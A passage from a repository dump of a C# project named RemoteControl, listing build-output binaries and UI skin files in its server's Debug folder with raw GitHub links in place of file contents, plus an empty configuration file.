https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Newtonsoft.Json.Lite.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/RemoteControl.Audio.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Audio.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/RemoteControl.Client.dat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Client.dat
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/RemoteControl.Protocals.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Protocals.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/RemoteControl.Server.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Server.exe
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/RemoteControl.Server.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/RemoteControl.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.zip
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Carlmness/Calmness.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/Calmness.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Deep/DeepCyan.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/DeepCyan.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Deep/DeepGreen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/DeepGreen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Deep/DeepOrange.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/DeepOrange.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Deep/deepcyan.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/deepcyan.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Deep/deepgreen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/deepgreen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Deep/deeporange.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/deeporange.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondBlue.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondBlue.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondGreen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondGreen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/diamondblue.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/diamondblue.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Diamond/diamondgreen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/diamondgreen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Eighteen/Eighteen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/Eighteen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/Emerald.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/Emerald.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor3.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor3.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color3.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color3.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Glass/GlassBrown.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/GlassBrown.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Glass/GlassGreen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/GlassGreen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Glass/GlassOrange.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/GlassOrange.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Glass/glassbrown.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/glassbrown.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Glass/glassgreen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/glassgreen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Glass/glassorange.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/glassorange.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Longhorn/Longhorn.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Longhorn/Longhorn.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Longhorn/longhorn.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Longhorn/longhorn.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MSN/MSN.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MSN/MSN.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MSN/msn.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MSN/msn.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MacOS/MacOS.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MacOS/MacOS.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/MacOS/macos.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MacOS/macos.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/Midsummer.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/Midsummer.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor3.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor3.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color3.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color3.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/OneBlue.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneBlue.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/OneCyan.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneCyan.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/OneGreen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneGreen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/OneOrange.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneOrange.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/oneblue.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/oneblue.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/onecyan.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/onecyan.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/onegreen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/onegreen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/One/oneorange.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/oneorange.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Page/Page.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/Page.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Page/PageColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/PageColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Page/PageColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/PageColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Page/page.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/page.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Page/page_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/page_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Page/page_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/page_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/RealOne/RealOne.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/RealOne/RealOne.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/RealOne/realone.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/RealOne/realone.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Silver/Silver.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/Silver.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor1.ssk:
--------------------------------------------------------------------------------
